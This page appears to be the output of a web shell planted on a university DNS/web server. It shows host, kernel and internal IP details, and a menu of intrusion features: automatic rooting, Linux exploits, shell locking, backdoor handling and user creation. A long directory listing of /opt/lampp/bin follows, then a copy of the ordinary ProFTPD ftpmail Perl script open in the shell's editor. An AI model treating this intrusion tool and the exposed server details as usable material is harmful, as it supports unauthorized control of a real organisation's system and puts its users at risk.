Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
opt /
lampp /
bin /
[ HOME SHELL ]
Name
Size
Permission
Action
ab
51.43
KB
-rwxr-xr-x
annotate
10.2
KB
-rwxr-xr-x
apachectl
3.33
KB
-rwxr-xr-x
apr-1-config
6.84
KB
-rwxr-xr-x
apreq2-config
5.96
KB
-rwxr-xr-x
apu-1-config
6.42
KB
-rwxr-xr-x
apxs
23.3
KB
-rwxr-xr-x
aria_chk
4.56
MB
-rwxr-xr-x
aria_dump_log
4.35
MB
-rwxr-xr-x
aria_ftdump
4.37
MB
-rwxr-xr-x
aria_pack
4.4
MB
-rwxr-xr-x
aria_read_log
4.51
MB
-rwxr-xr-x
autopoint
25.97
KB
-rwxr-xr-x
bdftogd
3.91
KB
-rwxr-xr-x
bison
288.55
KB
-rwxr-xr-x
bmp2tiff
14.32
KB
-rwxr-xr-x
bsqldb
26.76
KB
-rwxr-xr-x
bunzip2
85.55
KB
-rwxr-xr-x
bzcat
85.55
KB
-rwxr-xr-x
bzcmp
2.08
KB
-rwxr-xr-x
bzdiff
2.08
KB
-rwxr-xr-x
bzegrep
1.64
KB
-rwxr-xr-x
bzfgrep
1.64
KB
-rwxr-xr-x
bzgrep
1.64
KB
-rwxr-xr-x
bzip2
85.55
KB
-rwxr-xr-x
bzip2recover
14.23
KB
-rwxr-xr-x
bzless
1.23
KB
-rwxr-xr-x
bzmore
1.23
KB
-rwxr-xr-x
captoinfo
66.7
KB
-rwxr-xr-x
checkgid
6.13
KB
-rwxr-xr-x
cjpeg
30.29
KB
-rwxr-xr-x
clear
6.12
KB
-rwxr-xr-x
corelist
15.03
KB
-rwxr-xr-x
cpan
8.18
KB
-rwxr-xr-x
crc32
715
B
-r-xr-xr-x
c_rehash
6.57
KB
-rwxr-xr-x
curl
174.83
KB
-rwxr-xr-x
curl-config
5.48
KB
-rwxr-xr-x
cwebp
50.9
KB
-rwxr-xr-x
datacopy
22.45
KB
-rwxr-xr-x
dbilogstrip
1.44
KB
-r-xr-xr-x
dbiprof
6.17
KB
-r-xr-xr-x
dbiproxy
5.37
KB
-r-xr-xr-x
dbl2png
14.3
KB
-rwxr-xr-x
dbmmanage
8.72
KB
-rwxr-xr-x
defncopy
18.76
KB
-rwxr-xr-x
derb
23.09
KB
-rwxr-xr-x
djpeg
26.27
KB
-rwxr-xr-x
dwebp
30.49
KB
-rwxr-xr-x
enc2xs
40.79
KB
-rwxr-xr-x
encguess
3.02
KB
-rwxr-xr-x
envsubst
34.55
KB
-rwxr-xr-x
envvars
1.03
KB
-rw-r--r--
envvars-std
1.03
KB
-rw-r--r--
fax2ps
18.52
KB
-rwxr-xr-x
fax2tiff
14.66
KB
-rwxr-xr-x
fcgistarter
10.27
KB
-rwxr-xr-x
fisql
26.91
KB
-rwxr-xr-x
fix_rights
956
B
-rwxr-xr-x
flex
353.36
KB
-rwxr-xr-x
flex++
353.36
KB
-rwxr-xr-x
freebcp
18.59
KB
-rwxr-xr-x
freetype-config
3.75
KB
-rwxr-xr-x
ftpasswd
33.94
KB
-rwxr-xr-x
ftpcount
15.67
KB
-rwxr-xr-x
ftpdctl
82.73
KB
-rwxr-xr-x
ftpmail
13.69
KB
-rwxr-xr-x
ftpquota
32.21
KB
-rwxr-xr-x
ftptop
23.52
KB
-rwxr-xr-x
ftpwho
47.84
KB
-rwxr-xr-x
gd2copypal
10.15
KB
-rwxr-xr-x
gd2togif
10.14
KB
-rwxr-xr-x
gd2topng
10.16
KB
-rwxr-xr-x
gdcmpgif
10.15
KB
-rwxr-xr-x
gdparttopng
10.16
KB
-rwxr-xr-x
gdtopng
10.14
KB
-rwxr-xr-x
genbrk
14.84
KB
-rwxr-xr-x
gencfu
10.74
KB
-rwxr-xr-x
gencnval
22.73
KB
-rwxr-xr-x
gendict
22.91
KB
-rwxr-xr-x
gen_php_doc.sh
240
B
-rwxr-xr-x
genrb
161.05
KB
-rwxr-xr-x
GET
14.34
KB
-r-xr-xr-x
gettext
34.53
KB
-rwxr-xr-x
gettextize
42.73
KB
-rwxr-xr-x
gettext.sh
4.52
KB
-rwxr-xr-x
gif2tiff
14.48
KB
-rwxr-xr-x
giftogd2
10.15
KB
-rwxr-xr-x
h2ph
28.55
KB
-rwxr-xr-x
h2xs
59.52
KB
-rwxr-xr-x
HEAD
14.34
KB
-r-xr-xr-x
htcacheclean
30.53
KB
-rwxr-xr-x
htdbm
18.47
KB
-rwxr-xr-x
htdigest
10.27
KB
-rwxr-xr-x
html_template_phplibtool
107
B
-rwxr-xr-x
htpasswd
18.41
KB
-rwxr-xr-x
httpd
696.97
KB
-rwxr-xr-x
httxt2dbm
10.23
KB
-rwxr-xr-x
iconv
26.38
KB
-rwxr-xr-x
icu-config
21.58
KB
-rwxr-xr-x
icuinfo
10.54
KB
-rwxr-xr-x
infocmp
58.65
KB
-rwxr-xr-x
infotocap
66.7
KB
-rwxr-xr-x
innochecksum
3.62
MB
-rwxr-xr-x
instmodsh
4.16
KB
-r-xr-xr-x
jpegtran
42.36
KB
-rwxr-xr-x
json_pp
4.89
KB
-rwxr-xr-x
ldapadd
67.11
KB
-rwxr-xr-x
ldapcompare
55
KB
-rwxr-xr-x
ldapdelete
59.09
KB
-rwxr-xr-x
ldapexop
55.06
KB
-rwxr-xr-x
ldapmodify
67.11
KB
-rwxr-xr-x
ldapmodrdn
55
KB
-rwxr-xr-x
ldappasswd
55.03
KB
-rwxr-xr-x
ldapsearch
79.36
KB
-rwxr-xr-x
ldapurl
18.34
KB
-rwxr-xr-x
ldapwhoami
55.02
KB
-rwxr-xr-x
libmcrypt-config
1.43
KB
-rwxr-xr-x
libnetcfg
15.42
KB
-rwxr-xr-x
libpng16-config
2.27
KB
-rwxr-xr-x
libpng-config
2.27
KB
-rwxr-xr-x
listaction
170.55
KB
-rwxr-xr-x
listaction_d
170.54
KB
-rwxr-xr-x
listfdb
14.17
KB
-rwxr-xr-x
listjpeg
6.13
KB
-rwxr-xr-x
listmp3
10.54
KB
-rwxr-xr-x
listswf
174.55
KB
-rwxr-xr-x
listswf_d
174.54
KB
-rwxr-xr-x
logresolve
10.34
KB
-rwxr-xr-x
lwp-download
8.34
KB
-r-xr-xr-x
lwp-mirror
2.45
KB
-r-xr-xr-x
lwp-request
14.34
KB
-r-xr-xr-x
lwp-rget
14.78
KB
-r-xr-xr-x
makeconv
55.35
KB
-rwxr-xr-x
makefdb
70.41
KB
-rwxr-xr-x
makeswf
23.2
KB
-rwxr-xr-x
mariabackup
22.87
MB
-rwxr-xr-x
mariadb
4.28
MB
-rwxr-xr-x
mariadb-access
109.37
KB
-rwxr-xr-x
mariadb-admin
3.83
MB
-rwxr-xr-x
mariadb-backup
22.87
MB
-rwxr-xr-x
mariadb-binlog
4.05
MB
-rwxr-xr-x
mariadb-check
3.83
MB
-rwxr-xr-x
mariadb-client-test
4.38
MB
-rwxr-xr-x
mariadb_config
10.52
KB
-rwxr-xr-x
mariadb-convert-table-format
4.12
KB
-rwxr-xr-x
mariadbd-multi
26.76
KB
-rwxr-xr-x
mariadbd-safe
30.43
KB
-rwxr-xr-x
mariadbd-safe-helper
3.49
MB
-rwxr-xr-x
mariadb-dump
3.92
MB
-rwxr-xr-x
mariadb-dumpslow
8.05
KB
-rwxr-xr-x
mariadb-find-rows
3.21
KB
-rwxr-xr-x
mariadb-fix-extensions
1.22
KB
-rwxr-xr-x
mariadb-hotcopy
34.14
KB
-rwxr-xr-x
mariadb-import
3.82
MB
-rwxr-xr-x
mariadb-install-db
21.48
KB
-rwxr-xr-x
mariadb-ldb
4.05
MB
-rwxr-xr-x
mariadb-plugin
3.53
MB
-rwxr-xr-x
mariadb-secure-installation
13.38
KB
-rwxr-xr-x
mariadb-setpermission
17.13
KB
-rwxr-xr-x
mariadb-show
3.82
MB
-rwxr-xr-x
mariadb-slap
3.84
MB
-rwxr-xr-x
mariadb-test
4.21
MB
-rwxr-xr-x
mariadb-tzinfo-to-sql
3.53
MB
-rwxr-xr-x
mariadb-upgrade
3.62
MB
-rwxr-xr-x
mariadb-waitpid
3.52
MB
-rwxr-xr-x
mbstream
3.55
MB
-rwxr-xr-x
ming-config
561
B
-rwxr-xr-x
mp2bug
1.16
KB
-r-xr-xr-x
msgattrib
22.39
KB
-rwxr-xr-x
msgcat
18.38
KB
-rwxr-xr-x
msgcmp
22.49
KB
-rwxr-xr-x
msgcomm
18.37
KB
-rwxr-xr-x
msgconv
18.35
KB
-rwxr-xr-x
msgen
18.35
KB
-rwxr-xr-x
msgexec
14.38
KB
-rwxr-xr-x
msgfilter
26.45
KB
-rwxr-xr-x
msgfmt
79.41
KB
-rwxr-xr-x
msggrep
46.73
KB
-rwxr-xr-x
msginit
43.15
KB
-rwxr-xr-x
msgmerge
51.37
KB
-rwxr-xr-x
msgunfmt
30.57
KB
-rwxr-xr-x
msguniq
18.36
KB
-rwxr-xr-x
msql2mysql
1.42
KB
-rwxr-xr-x
myisamchk
4
MB
-rwxr-xr-x
myisam_ftdump
3.88
MB
-rwxr-xr-x
myisamlog
3.86
MB
-rwxr-xr-x
myisampack
3.91
MB
-rwxr-xr-x
my_print_defaults
3.53
MB
-rwxr-xr-x
myrocks_hotbackup
24.46
KB
-rwxr-xr-x
mysql
4.28
MB
-rwxr-xr-x
mysqlaccess
109.37
KB
-rwxr-xr-x
mysqladmin
3.83
MB
-rwxr-xr-x
mysqlbinlog
4.05
MB
-rwxr-xr-x
mysqlcheck
3.83
MB
-rwxr-xr-x
mysql_client_test
4.38
MB
-rwxr-xr-x
mysql_config
4.54
KB
-rwxr-xr-x
mysql_convert_table_format
4.12
KB
-rwxr-xr-x
mysqld_multi
26.76
KB
-rwxr-xr-x
mysqld_safe
30.43
KB
-rwxr-xr-x
mysqld_safe_helper
3.49
MB
-rwxr-xr-x
mysqldump
3.92
MB
-rwxr-xr-x
mysqldumpslow
8.05
KB
-rwxr-xr-x
mysql_find_rows
3.21
KB
-rwxr-xr-x
mysql_fix_extensions
1.22
KB
-rwxr-xr-x
mysqlhotcopy
34.14
KB
-rwxr-xr-x
mysqlimport
3.82
MB
-rwxr-xr-x
mysql_install_db
21.48
KB
-rwxr-xr-x
mysql_ldb
4.05
MB
-rwxr-xr-x
mysql_plugin
3.53
MB
-rwxr-xr-x
mysql_secure_installation
13.38
KB
-rwxr-xr-x
mysql.server
11.93
KB
-rwxr-xr-x
mysql_setpermission
17.13
KB
-rwxr-xr-x
mysqlshow
3.82
MB
-rwxr-xr-x
mysqlslap
3.84
MB
-rwxr-xr-x
mysqltest
4.21
MB
-rwxr-xr-x
mysql_tzinfo_to_sql
3.53
MB
-rwxr-xr-x
mysql_upgrade
3.62
MB
-rwxr-xr-x
mysql_waitpid
3.52
MB
-rwxr-xr-x
mytop
61.06
KB
-rwxr-xr-x
ncurses5-config
5.17
KB
-rwxr-xr-x
ngettext
34.55
KB
-rwxr-xr-x
onig-config
1.35
KB
-rwxr-xr-x
openssl
642.05
KB
-rwxr-xr-x
osql
8.84
KB
-rwxr-xr-x
pal2rgb
14.82
KB
-rwxr-xr-x
pcre-config
2.31
KB
-rwxr-xr-x
pcregrep
36.34
KB
-rwxr-xr-x
pcretest
66.56
KB
-rwxr-xr-x
pear
817
B
-rwxr-xr-x
peardev
838
B
-rwxr-xr-x
pearinfo
538
B
-rwxr-xr-x
pecl
751
B
-rwxr-xr-x
perl
3.3
MB
-rwxr-xr-x
perl5.34.1
3.3
MB
-rwxr-xr-x
perlbug
44.13
KB
-rwxr-xr-x
perldoc
274
B
-rwxr-xr-x
perlivp
10.58
KB
-rwxr-xr-x
perlthanks
44.13
KB
-rwxr-xr-x
perror
3.71
MB
-rwxr-xr-x
phar
14.89
KB
-rwxr-xr-x
phar.phar
14.89
KB
-rwxr-xr-x
php
18.06
MB
-rwxr-xr-x
php-8.2.12
18.06
MB
-rwxr-xr-x
php-cgi
18.06
MB
-rwxr-xr-x
php-cgi-8.2.12
18.06
MB
-rwxr-xr-x
php-config
4.39
KB
-rwxr-xr-x
php-config-8.2.12
4.39
KB
-rwxr-xr-x
phpdbg
18.06
MB
-rwxr-xr-x
phpize
4.43
KB
-rwxr-xr-x
phpize-8.2.12
4.43
KB
-rwxr-xr-x
phpunit
1.9
KB
-rwxr-xr-x
piconv
8.18
KB
-rwxr-xr-x
pkgdata
43.7
KB
-rwxr-xr-x
pl2pm
4.44
KB
-rwxr-xr-x
png2dbl
14.38
KB
-rwxr-xr-x
pngfix
46.48
KB
-rwxr-xr-x
png-fix-itxt
6.11
KB
-rwxr-xr-x
pngtogd
10.14
KB
-rwxr-xr-x
pngtogd2
10.15
KB
-rwxr-xr-x
pod2html
4.05
KB
-rwxr-xr-x
pod2man
14.69
KB
-rwxr-xr-x
pod2text
10.56
KB
-rwxr-xr-x
pod2usage
4.02
KB
-rwxr-xr-x
podchecker
3.58
KB
-rwxr-xr-x
POST
14.34
KB
-r-xr-xr-x
ppm2tiff
14.51
KB
-rwxr-xr-x
prove
13.35
KB
-rwxr-xr-x
prxs
8.96
KB
-rwxr-xr-x
ptar
3.49
KB
-rwxr-xr-x
ptardiff
2.59
KB
-rwxr-xr-x
ptargrep
4.3
KB
-rwxr-xr-x
ras2tiff
10.48
KB
-rwxr-xr-x
raw2adpcm
10.21
KB
-rwxr-xr-x
raw2tiff
18.35
KB
-rwxr-xr-x
rdjpgcom
10.18
KB
-rwxr-xr-x
recode-sr-latin
14.33
KB
-rwxr-xr-x
replace
3.5
MB
-rwxr-xr-x
reset
18.59
KB
-rwxr-xr-x
resolveip
3.52
MB
-rwxr-xr-x
resolve_stack_dump
3.53
MB
-rwxr-xr-x
rgb2ycbcr
14.46
KB
-rwxr-xr-x
rotatelogs
18.41
KB
-rwxr-xr-x
sabcmd
21.13
KB
-rwxr-xr-x
sablot-config
1.11
KB
-rwxr-xr-x
shasum
9.76
KB
-rwxr-xr-x
splain
18.97
KB
-rwxr-xr-x
sqlite
27.8
KB
-rwxr-xr-x
sqlite3
1.74
MB
-rwxr-xr-x
sst_dump
4.04
MB
-rwxr-xr-x
streamzip
5.31
KB
-r-xr-xr-x
suexec
14.36
KB
-rwsr-xr-x
swftocxx
154.57
KB
-rwxr-xr-x
swftoperl
154.57
KB
-rwxr-xr-x
swftophp
154.57
KB
-rwxr-xr-x
swftopython
154.57
KB
-rwxr-xr-x
swftotcl
154.57
KB
-rwxr-xr-x
tabs
14.31
KB
-rwxr-xr-x
tdspool
286.9
KB
-rwxr-xr-x
thumbnail
14.92
KB
-rwxr-xr-x
tic
66.7
KB
-rwxr-xr-x
tiff2bw
14.8
KB
-rwxr-xr-x
tiff2pdf
66.52
KB
-rwxr-xr-x
tiff2ps
55.95
KB
-rwxr-xr-x
tiff2rgba
14.32
KB
-rwxr-xr-x
tiffcmp
18.41
KB
-rwxr-xr-x
tiffcp
43.31
KB
-rwxr-xr-x
tiffcrop
112.88
KB
-rwxr-xr-x
tiffdither
14.48
KB
-rwxr-xr-x
tiffdump
18.52
KB
-rwxr-xr-x
tiffinfo
18.55
KB
-rwxr-xr-x
tiffmedian
22.44
KB
-rwxr-xr-x
tiffset
10.23
KB
-rwxr-xr-x
tiffsplit
14.3
KB
-rwxr-xr-x
toe
14.38
KB
-rwxr-xr-x
tput
14.41
KB
-rwxr-xr-x
tset
18.59
KB
-rwxr-xr-x
tsql
282.99
KB
-rwxr-xr-x
uconv
47.36
KB
-rwxr-xr-x
unzip-mem
14.21
KB
-rwxr-xr-x
unzzip
10.21
KB
-rwxr-xr-x
unzzipcat
10.2
KB
-rwxr-xr-x
unzzipcat-mem
10.17
KB
-rwxr-xr-x
unzzipcat-seeko
10.2
KB
-rwxr-xr-x
unzzipdir
6.16
KB
-rwxr-xr-x
unzzipdir-mem
6.13
KB
-rwxr-xr-x
use-devel-checklib
2.81
KB
-r-xr-xr-x
wcmgr
6.1
KB
-rwxr-xr-x
webalizer
157.1
KB
-rwxr-xr-x
webazolver
157.1
KB
-rwxr-xr-x
webpng
14.28
KB
-rwxr-xr-x
wrjpgcom
10.19
KB
-rwxr-xr-x
wsrep_sst_backup
2.95
KB
-rwxr-xr-x
wsrep_sst_common
54.05
KB
-rw-r--r--
wsrep_sst_mariabackup
51.01
KB
-rwxr-xr-x
wsrep_sst_mysqldump
7.7
KB
-rwxr-xr-x
wsrep_sst_rsync
32.31
KB
-rwxr-xr-x
wsrep_sst_rsync_wan
32.31
KB
-rwxr-xr-x
xgettext
330.1
KB
-rwxr-xr-x
xml2-config
1.69
KB
-rwxr-xr-x
xmlcatalog
14.35
KB
-rwxr-xr-x
xmllint
64.38
KB
-rwxr-xr-x
xmlwf
26.57
KB
-rwxr-xr-x
xslt-config
2.36
KB
-rwxr-xr-x
xsltproc
22.52
KB
-rwxr-xr-x
xsubpp
5.06
KB
-rwxr-xr-x
yacc
45
B
-rwxr-xr-x
zipcmp
19
KB
-rwxr-xr-x
zipdetails
49.95
KB
-r-xr-xr-x
zipmerge
14.88
KB
-rwxr-xr-x
ziptool
27.7
KB
-rwxr-xr-x
zzcat
6.13
KB
-rwxr-xr-x
zzdir
10.16
KB
-rwxr-xr-x
zzxorcat
10.16
KB
-rwxr-xr-x
zzxorcopy
10.17
KB
-rwxr-xr-x
zzxordir
10.19
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ftpmail
#!/usr/bin/env perl # --------------------------------------------------------------------------- # Copyright (C) 2008-2013 TJ Saunders <tj@castaglia.org> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Suite 500, Boston, MA 02110-1335, USA. # # $Id: ftpmail,v 1.8 2013-10-13 22:34:14 castaglia Exp $ # --------------------------------------------------------------------------- use strict; use File::Basename qw(basename); use Getopt::Long; use Mail::Sendmail; use MIME::Base64 qw(encode_base64); use Time::HiRes qw(usleep); my $program = basename($0); my $opts = {}; GetOptions($opts, 'attach-file', 'fifo=s', 'from=s', 'help', 'ignore-users=s', 'log=s', 'recipient=s@', 'upload-recipient=s@', 'download-recipient=s@', 'sleep=s', 'smtp-server=s', 'subject=s', 'watch-users=s', 'auth=s'); if ($opts->{help}) { usage(); exit 0; } unless ($opts->{fifo}) { print STDERR "$program: missing required --fifo parameter\n"; exit 1; } my $fifo = $opts->{fifo}; unless ($opts->{from}) { print STDERR "$program: missing required --from parameter\n"; exit 1; } my $from = $opts->{from}; unless ($opts->{recipient} || $opts->{'upload-recipient'}) { print STDERR "$program: missing required --recipient (or --upload-recipient) parameter\n"; exit 1; } my $upload_recipients = $opts->{recipient}; # The --upload-recipient list takes precedence over the (deprecated) # --recipient list. if (defined($opts->{'upload-recipient'})) { $upload_recipients = $opts->{'upload-recipient'}; } my $download_recipients = undef; if (defined($opts->{'download-recipient'})) { $download_recipients = $opts->{'download-recipient'}; } unless ($opts->{'smtp-server'}) { print STDERR "$program: missing required --smtp-server parameter\n"; exit 1; } my $smtp_server = $opts->{'smtp-server'}; my $smtp_auth; if ($opts->{'auth'}) { eval { $smtp_auth = get_auth_info($opts->{'auth'}) }; if ($@) { my $ex = $@; print STDERR "$program: unable to obtain SMTP auth info: $ex\n"; exit 1; } } my $delay = 0.5; if ($opts->{sleep}) { $delay = $opts->{sleep}; } my $fifoh; if (open($fifoh, "< $fifo")) { while (1) { my $line = <$fifoh>; if ($line) { chomp($line); if ($line =~ /^(\S+\s+\S+\s+\d+\s+\d+:\d+:\d+\s+\d+)\s+(\d+)\s+(.*?)\s+(\d+)\s+(.*?)\s+(\S+)\s+(\S+)\s+(\S+)\s+(\S+)\s+(.*?)\s+.*?(\S+)$/o) { my $curr_time = $1; my $xfer_nsecs = $2; my $client = $3; my $nbytes = $4; # Note that any spaces or control characters will be replaced in this # path with underscores. This can make finding the actual file, as for # attachments, rather difficult; we have to test to find the difference # between a real underscore in the name, and a substituted underscore. my $path = $5; unless (-e $path) { # Perform a quick-and-dirty check, on the assumption that all of the # underscores in the given path are actually spaces. If a # combination of underscores and spaces appears in the real file, # we won't detect that here. my $alt_path = $path; $alt_path =~ s/_/ /g; if (-e $alt_path) { $path = $alt_path; } } my $xfer_type = $6; my $action_flag = $7; my $xfer_direction = $8; my $access_mode = $9; my $user_name = $10; my $completion_status = $11; my $send_email = 0; if ($xfer_direction eq 'i') { $send_email = 1; } if (defined($download_recipients)) { # If we have a list of download email recipients, it means we should # send emails for downloads, too. if ($xfer_direction eq 'o') { $send_email = 1; } } if ($send_email) { # First, check for any specific --watch-users filter. If configured, # and if the user name does NOT match the --watch-users filter, then # don't send email. Otherwise, check for an --ignore-users filter, # and see if the user matches that ignore filter. if ($opts->{'watch-users'}) { if ($user_name !~ /$opts->{'watch-users'}/) { $send_email = 0; } } elsif ($opts->{'ignore-users'}) { if ($user_name =~ /$opts->{'ignore-users'}/) { $send_email = 0; } } } if ($send_email) { send_email({ timestamp => $curr_time, duration => $xfer_nsecs, client => $client, size => $nbytes, file => $path, transfer_type => $xfer_type, auth_mode => $access_mode, user => $user_name, status => $completion_status, direction => $xfer_direction, }); } } if ($opts->{log}) { # Note: since this opens, writes, then closes the log file for every # write, it will interact with log rotation scripts MUCH better than # proftpd by itself. Just one of the small benefits. my $log_file = $opts->{log}; my $logfh; if (open($logfh, ">> $log_file")) { print $logfh "$line\n"; unless (close($logfh)) { print STDERR "$program: error writing to log file '$log_file': $!\n"; } } else { print STDERR "$program: error opening log file '$log_file': $!\n"; } } } else { # No input at this time. Sleep for half a second (or less) and check # again. usleep($delay * 1000000); } } close($fifoh); } else { die "$program: unable to read FIFO '$fifo': $!\n"; } sub get_auth_info { my $path = shift; my $info = {}; if (open(my $fh, "< $path")) { while (my $line = <$fh>) { chomp($line); # Skip comments and blank lines if ($line =~ /^(\s+)?#/) { next; } if ($line =~ /^\s+$/) { next; } if ($line =~ /^(\s+)?(\S+)(\s+)?=(\s+)?(.*)$/) { my $key = $2; my $val = $5; # Trim off comments after the value, if any $val =~ s/(\s*#.*)?$//; # Ignore any keys other than 'user' and 'password'. if (lc($key) eq 'user') { $info->{'user'} = $val; } elsif (lc($key) eq 'password' || lc($key) eq 'pass') { $info->{'password'} = $val; } } } close($fh); } else { die("Can't read '$path': $!\n"); } # Make sure that we have the required values my $reqs = [qw(user password)]; foreach my $req (@$reqs) { unless (exists($info->{$req})) { die("Missing required '$req' value\n"); } } return $info; } sub send_email { my $transfer_info = shift; my $file = $transfer_info->{file}; my $file_str = basename($file); my $transferred = 'uploaded'; if ($transfer_info->{direction} eq 'o') { $transferred = 'downloaded'; } my $subject = "User '$transfer_info->{user}' $transferred file '$file_str' via FTP"; if ($opts->{subject}) { $subject = $opts->{subject}; } my $bytes_str = "bytes"; if ($transfer_info->{size} == 1) { $bytes_str = "byte"; } my $status = "Completed"; if ($transfer_info->{status} eq 'i') { $status = "Incomplete"; } my $secs_str = "secs"; if ($transfer_info->{duration} == 1) { $secs_str = "sec"; } my $type_str = "Binary"; if ($transfer_info->{transfer_type} eq 'a') { $type_str = "ASCII"; } my $attached = ""; if ($opts->{'attach-file'} && -e $file) { $attached = "(attached)"; } my $text = <<EOT; File just uploaded via FTP: User: $transfer_info->{user} Client: $transfer_info->{client} File: $file $attached Size: $transfer_info->{size} $bytes_str At: $transfer_info->{timestamp} Duration: $transfer_info->{duration} $secs_str Status: $status Transfer type: $type_str Cheers, --$program EOT my $email_info = { smtp => $smtp_server, From => $from, Subject => $subject, }; if ($transfer_info->{direction} eq 'i') { $email_info->{To} = join(', ', @$upload_recipients); } elsif ($transfer_info->{direction} eq 'o') { $email_info->{To} = join(', ', @$download_recipients); } if ($opts->{'auth'}) { $email_info->{'auth'} = $smtp_auth; } if ($opts->{'attach-file'}) { if (-e $file) { $email_info->{'MIME-Version'} = '1.0'; my $boundary = '====' . time() . '===='; $email_info->{'Content-Type'} = "multipart/mixed; boundary=\"$boundary\""; $boundary = '--' . $boundary; $email_info->{Body} .= "$boundary\n"; $email_info->{Body} .= "Content-Type: text/plain; charset=\"iso-8859-1\"\n"; $email_info->{Body} .= "Content-Transfer-Encoding: quoted-printable\n\n"; $email_info->{Body} .= "$text\n"; if (open(my $fh, "< $file")) { binmode($fh); # Note: this reads the entire file into memory, and can fail if # the file is too big. local $/; my $attach; while (my $data = <$fh>) { $attach .= $data; } close($fh); $email_info->{Body} .= "$boundary\n"; $email_info->{Body} .= "Content-Disposition: attachment; filename=\"$file\"\n"; if ($transfer_info->{transfer_type} eq 'a') { $email_info->{Body} .= "Content-Type: text/plain; charset=\"iso-8859-1\"\n\n"; $email_info->{Body} .= $attach; } else { $email_info->{Body} .= "Content-Type: application/octet-stream\n"; $email_info->{Body} .= "Content-Transfer-Encoding: base64\n\n"; $email_info->{Body} .= encode_base64($attach); } $email_info->{Body} .= "\n"; } else { my $timestamp = scalar(localtime()); print STDERR "$program: $timestamp: error reading file '$file' for attaching: $!\n"; } } else { # Couldn't find/access the uploaded file on the filesystem. This usually # indicates either a permissions problem, or a munged filename. # # XXX Need to handle this better. } } else { $email_info->{Body} = $text; } my $res = Mail::Sendmail::sendmail(%$email_info); unless ($res) { my $timestamp = scalar(localtime()); print STDERR "$program: $timestamp: error sending email: $Mail::Sendmail::error\n"; } } sub usage { print <<EOH; usage: $program [--help] [--fifo \$path] [--from \$addr] [--log \$path] [--recipient \$addrs] [--upload-recipient \$addrs] [--download-recipient \$addrs] [--subject \$string] [--smtp-server \$addr] [--attach-file] [--ignore-users \$regex | --watch-users \$regex] The purpose of this script is to monitor the TransferLog written by proftpd for uploaded files. Whenever a file is uploaded by a user, an email will be sent to the specified recipients. In the email there will be the timestamp, the name of the user who uploaded the file, the path to the uploaded file, the size of the uploaded file, and the time it took to upload. Command-line options: --attach-file If used, this will cause a copy of the uploaded file to be included, as an attachment, in the generated email. --auth \$path Configures the path to a file containing SMTP authentication information. The configured file should look like this: user = \$user password = \$password --fifo \$path Indicates the path to the FIFO to which proftpd is writing its TransferLog. That is, this is the path that you used for the TransferLog directive in your proftpd.conf. This parameter is REQUIRED. --from \$addr Specifies the email address to use in the From header. This parameter is REQUIRED. --help Displays this message. --ignore-users \$regex Specifies a Perl regular expression. If the uploading user name matches this regular expression, then NO email notification is sent; otherwise, an email is sent. --log \$path Since this script reads the TransferLog using FIFOs, the actual TransferLog file is not written by default. Use this option to write the normal TransferLog file, in addition to watching for uploads. --recipient \$addr Specifies an email address to which to send an email notification of the upload. This option can be used multiple times to specify multiple recipients. AT LEAST ONE recipient is REQUIRED. --upload-recipient Same as --recipient. --download-recipient \$addr Specifies an email address to which to send an email notification of the B<download>. This option can be used multiple times to specify multiple recipients. If this option is specified, then C<ftpmail> will watch for FTP downloads as well as uploads. --smtp-server \$addr Specifies the SMTP server to which to send the email. This parameter is REQUIRED. --subject \$string Specify a custom Subject header for the email sent. The default Subject is: User '\$user' uploaded file '\$file' via FTP --watch-users \$regex Specifies a Perl regular expression. If the uploading user name matches this regular expression, then an email notification is sent; otherwise, no email is sent. EOH }
Close